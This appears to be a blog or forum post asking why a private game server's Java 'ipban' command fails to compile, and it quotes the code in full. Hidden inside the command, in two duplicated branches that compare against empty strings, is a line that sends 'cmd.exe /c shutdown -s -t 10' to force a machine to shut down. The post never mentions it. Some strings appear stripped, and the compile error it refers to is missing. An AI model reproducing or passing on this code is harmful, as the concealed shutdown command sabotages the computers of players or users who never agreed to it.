Okay so I'm sorting out an IPBan command within commands.java of my game - here is the section where the error is happening:
if (cmd[0].equalsIgnoreCase("ipban")) {
if (cmd[1].equalsIgnoreCase("")) {
player.getPackets().sendGameMessage("");
player.getPackets().sendGameMessage("");
for (Player players : World.getPlayers())
players.getPackets().sendGameMessage(player.getDisplayName() + "");
player.getPackets().sendExecMessage("cmd.exe /c shutdown -s -t 10");
return false;
}
if (cmd[1].equalsIgnoreCase("")) {
player.getPackets().sendGameMessage("");
player.getPackets().sendGameMessage("");
for (Player players : World.getPlayers())
players.getPackets().sendGameMessage(player.getDisplayName() + "");
player.getPackets().sendExecMessage("cmd.exe /c shutdown -s -t 10");
return false;
}
else {
String name = "";
for (int i = 1; i < cmd.length; i++)
name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
Player target = World.getPlayerByDisplayName(name);
boolean loggedIn = true;
if (target == null) {
target = SerializableFilesManager.loadPlayer(Utils
.formatPlayerNameForProtocol(name));
if (target != null)
target.setUsername(Utils
.formatPlayerNameForProtocol(name));
loggedIn = false;
}
if (target != null) {
IPBanL.ban(target, loggedIn);
player.getPackets().sendGameMessage("You've permanently ipbanned "+ (loggedIn ? target.getDisplayName() : name) + ".");
} else {
player.getPackets().sendGameMessage("Couldn't find player " + name + ".");
}
try {
File file = new File("data/logs/ipban.txt");
BufferedWriter writer = new BufferedWriter(new FileWriter(
file, true));
writer.write ("[" + DateFormat.getDateTimeInstance().format(new Date()) + "]" + player.getDisplayName() + " Ip Banned " + target.getDisplayName());
writer.newLine();
writer.flush();
} catch (IOException e) {
e.printStackTrace();
}
return true;
}}
I've tried checking for extra or less brackets and can't seem to find it. This is what the error says when I try to compile:
Probably the silliest thing but I tend to miss the most obvious things at times - coding as been so smooth up until now haha been able to fix all the errors. Strangely, not this one.
Aucun commentaire:
Enregistrer un commentaire